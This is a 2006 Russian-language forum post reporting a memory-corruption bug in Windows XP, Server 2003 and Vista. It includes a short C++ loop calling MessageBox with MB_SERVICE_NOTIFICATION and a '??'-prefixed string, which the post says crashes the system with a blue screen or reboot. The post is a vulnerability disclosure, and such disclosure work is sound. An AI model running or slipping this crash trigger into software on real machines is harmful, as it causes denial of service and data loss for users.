Показать сообщение отдельно

Повреждение памяти в Microsoft Windows
  #1  
Старый 17.12.2006, 14:26
»Atom1c«
Banned
Регистрация: 04.11.2006
Сообщений: 370
Провел на форуме:
1763167

Репутация: 1186
По умолчанию Повреждение памяти в Microsoft Windows

Сегодня некий багоискатель wins mallow E-mail: wins-m_(at)_yandex.ru Обнаружил повреждение памяти при выводе на экран сообщения MessageBox с параметром MB_SERVICE_NOTIFICATION, начинающегося на "??"
Пример:
char bug [] = "??C:";
for(int i = 0; i < 10; i ++)
{
::MessageBox(0, bug, bug, MB_SERVICE_NOTIFICATION);
}
На 2-4 итерации - синий экран или ребут

Уязвимости подвержены следующие продукты:
MICROSOFT : Windows XP
MICROSOFT : Windows 2003 Server
MICROSOFT : Windows Vista

Оригинальный текст тут:
http://security.nnov.ru/source16722.html
 
Ответить с цитированием